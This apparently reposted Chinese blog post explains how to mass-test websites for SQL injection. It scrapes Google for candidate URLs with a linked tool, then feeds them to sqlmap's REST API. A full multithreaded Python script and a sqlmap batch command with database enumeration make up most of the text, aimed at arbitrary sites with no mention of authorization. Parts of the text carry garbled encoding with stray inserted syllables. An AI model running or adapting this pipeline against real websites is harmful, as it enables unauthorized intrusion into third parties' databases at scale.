- 前言
- slghack自動化搜集URL
- Sqlmap API
- 腳本slghack_sqli
前言
挖掘SQL注入漏洞的一種方式就是通過Google Hacking搜索那些可能存在SQL的URL,然后手工的探測注入點。但是現(xiàn)在的SQL注入漏洞的網(wǎng)站是比較少的了,所以這樣一個一個手工測效率有一點低。
sqlmap比較好的一點是可批量掃描多個URL中的注入點,比如這樣:
準(zhǔn)備一個包含要掃描的URL列表的文件(每個URL占一行),然后使用 -m 選項指定要掃描的這個URL文件,執(zhí)行如下的命令就可以:
sqlmap -m urls.txt --batch --level=3 --random-agent --dbs
還可以使用 --threads 來指定要使用的線程數(shù)。
slghack自動化搜集URL
最近寫了一個小的python爬蟲腳本,能從Google頁面批量爬取URL。
slghack是一個基于Python第三方庫yagooglesearch開發(fā)的,使用之前需要安裝依賴: pip install yagooglesearch
。
項目地址: https://github.com/zhx-hex/slghack
Sqlmap API
在Sqlmap項目的根目錄下面有個sqlmapapi.py,可能很少有人注意到。
sqlmapapi.py就是sqlmap的分布式掃描sql注入,可以利用sqlmapapi.py開啟服務(wù)端口,然后向sqlmapapi發(fā)送請求,就可以進行sql注入。
使用方法也很簡單 python sqlmapapi.py -s
,在本地的8775端口就會開啟一個sqlmapapi 的服務(wù),也可以通過 -p 指定端口。
sqlmapapi 沒有官方的API文檔,只有一些第三方的文檔。
參考文檔:Unofficial SQLmap RESTful API documentation
大致工作流程:
-
通過GET請求
http://ip:port/task/new
創(chuàng)建一個新的掃描任務(wù) -
通過POST請求
http://ip:port/scan/start
并通過json格式提交參數(shù),開啟一個掃描 -
通過GET請求
http://ip:port/scan//status
來獲取指定的taskid的掃描狀態(tài):一種是run狀態(tài),一種是terminated狀態(tài) -
掃描完成后獲取掃描的結(jié)果
腳本slghack_sqli
把slghack搜集到的URL復(fù)制到sql_urls.txt里面,就可以多線程批量檢測了。
import json
import queue
import requests
from threading import Thread
from time import sleep
class slghack_sqli:
def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
self.server = server
self.urlsfile = urlsfile
self.ouput = output
self.task_queue = queue.Queue()
def get_urls(self):
with open(self.urlsfile, "r") as f:
for url in f.readlines():
self.task_queue.put(url.strip())
def sent_server(self):
threads = []
while not self.task_queue.empty():
url = self.task_queue.get().strip()
print(f"Target URL: {url}")
t = Thread(target=self.scan, args=(url,))
threads.append(t)
t.start()
for t in threads:
t.join()
def scan(self, url):
try:
# 通過GET請求 http://ip:port/task/new 創(chuàng)建一個新的掃描任務(wù)
r = requests.get(f"{self.server}/task/new")
taskid = r.json()['taskid']
# 通過POST請求 http://ip:port/scan/start 并通過json格式提交參數(shù),開啟一個掃描
r = requests.post(
f"{self.server}/scan/{taskid}/start",
data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
)
# 通過GET請求 http://ip:port/scan//status 來獲取指定的taskid的掃描狀態(tài)
r = requests.get(f"{self.server}/scan/{taskid}/status")
count = 0
while r.json()["status"] == "running":
sleep(6)
r = requests.get(f"{self.server}/scan/{taskid}/status")
print(r.json()["status"])
count += 1
if count == 30:
# 每個task最多跑6*30=180s結(jié)束
requests.get(f"{self.server}/scan/{taskid}/stop")
r = requests.get(f"{self.server}/scan/{taskid}/data")
requests.get(f"{self.server}/scan/{taskid}/delete")
if r.json()['data']:
print("Injection found: " + url)
with open(self.ouput, "a") as f:
f.write(url + "\n")
except requests.ConnectionError:
print("Connection error!")
if __name__ == '__main__':
# 把slghack跑的結(jié)果復(fù)制到sql_urls.txt
ssqli = slghack_sqli(urlsfile='sql_urls.txt')
ssqli.get_urls()
ssqli.sent_server()
這種批量掃描,比手工測試的效率肯定要高很多。
參考文章: https://www.freebuf.com/articles/web/204875.html文章來源:http://www.zghlxwxcb.cn/news/detail-851508.html
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ文章來源地址http://www.zghlxwxcb.cn/news/detail-851508.html
到了這里,關(guān)于利用Sqlmap API接口聯(lián)動Google Hacking批量SQL注入檢測的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!